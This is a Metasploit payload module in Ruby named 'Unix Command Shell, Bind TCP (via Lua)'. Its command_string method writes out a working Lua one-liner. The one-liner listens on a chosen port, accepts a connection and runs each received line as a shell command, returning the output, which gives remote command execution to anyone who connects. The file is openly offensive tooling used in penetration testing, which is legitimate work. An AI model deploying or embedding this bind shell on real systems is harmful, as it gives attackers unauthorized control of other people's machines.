Unix Command Shell, Bind TCP (via Lua)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 218

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Unix Command Shell, Bind TCP (via Lua)',
     'Description'   => 'Listen for a connection and spawn a command shell via Lua',
     'Author'        =>
       [
         'xistence <xistence[at]0x90.nl>',
       ],
     'License'       => MSF_LICENSE,
     'Platform'      => 'unix',
     'Arch'          => ARCH_CMD,
     'Handler'       => Msf::Handler::BindTcp,
     'Session'       => Msf::Sessions::CommandShell,
     'PayloadType'   => 'cmd',
     'RequiredCmd'   => 'lua',
     'Payload'       =>
       {
         'Offsets' => { },
         'Payload' => ''
       }
    ))
    register_advanced_options(
      [
        OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    vprint_good(command_string)
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    "#{datastore['LuaPath']} -e \"local s=require('socket');local s=assert(s.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
  end
end